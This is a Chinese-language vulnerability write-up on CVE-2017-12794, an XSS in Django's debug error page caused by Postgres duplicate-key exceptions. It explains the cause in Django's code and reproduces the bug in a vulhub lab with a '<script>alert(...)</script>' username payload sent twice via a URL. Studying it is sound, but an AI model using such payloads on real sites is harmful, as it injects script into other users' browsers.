漏洞原理
若Django项目使用Postgres作为数据库,当触发异常时,psycopg会将字段名及字段值抛出,当字段值中包含可控字符串时,其最后便会在页面中进行显示。
我们可查看1.11.4和1.11.5版本之间django/views/templates/technical_500.html文件的差异:

其差异在于外部关闭了全局转义,并在如图所示处增加了强制转义。若要触发这两个输出点,我们需要进入{% ifchanged frame.exc_cause %}{% if frame.exc_cause %}语句,那么就需要我们判断这段代码所在的功能点,然后精准打击,图中有一串The above exception was the direct cause of the following exception:报错提示,而依据经验的话这是Django中数据库异常抛出的错误语句。
在Django命令行下,当创建一个已存在的用户时,系统会因触发数据库Unique异常而抛出一个IntegrityError异常,其目的在于方便开发者进行SQL错误调试。
查看django/db/utils.py的__exit__函数:
def __exit__(self, exc_type, exc_value, traceback):
if exc_type is None:
return
for dj_exc_type in (
DataError,
OperationalError,
IntegrityError,
InternalError,
ProgrammingError,
NotSupportedError,
DatabaseError,
InterfaceError,
Error,
):
db_exc_type = getattr(self.wrapper.Database, dj_exc_type.__name__)
if issubclass(exc_type, db_exc_type):
dj_exc_value = dj_exc_type(*exc_value.args)
dj_exc_value.__cause__ = exc_value
if not hasattr(exc_value, '__traceback__'):
exc_value.__traceback__ = traceback
# Only set the 'errors_occurred' flag for errors that may make
# the connection unusable.
if dj_exc_type not in (DataError, IntegrityError):
self.wrapper.errors_occurred = True
six.reraise(dj_exc_type, dj_exc_value, traceback)
exc_type是异常,若其类型为DataError,OperationError,IntegrityError,InternalError,ProgrammingError,NotSupportedError,DatabaseError,DatabaseError,InterfaceError,Error之一的话则会抛出一个同类型的新异常,并将__cause__和__traceback__设置为exc_value和traceback,前者是上一个异常的说明,后者是上一个异常的回溯栈。也就是说django/db/utils.py的__exit__函数将上一个异常和当前的新异常进行关联,最后在500页面输出__cause__。
影响版本
Django 1.10.8之前及Django 1.11.5之前的Django 1.11.x版本。
漏洞复现
git clone https://github.com/vulhub/vulhub.git
cd vulhub/django/CVE-2017-12794
docker-compose up -d
- 注册用户名为
<script>alert(oopsdc)</script>的用户。 - 再次注册
<script>alert(oopsdc)</script>用户。 - 触发
duplicate key异常,触发XSS漏洞。
访问http://<ip>:8000/create_user/?username=<script>alert(oopsdc)</script>,页面回显用户创建成功:
Hello, user has been created!
再次访问http://<ip>:8000/create_user/?username=<script>alert(oopsdc)</script>,触发异常弹窗。
Postgre抛出异常为:
duplicate key value violates unique constraint "xss_user_username_key"
DETAIL: Key (username)=(<script>alert(oopsdc)</script>) already exists.
异常被拼接进The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception并触发XSS。
文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。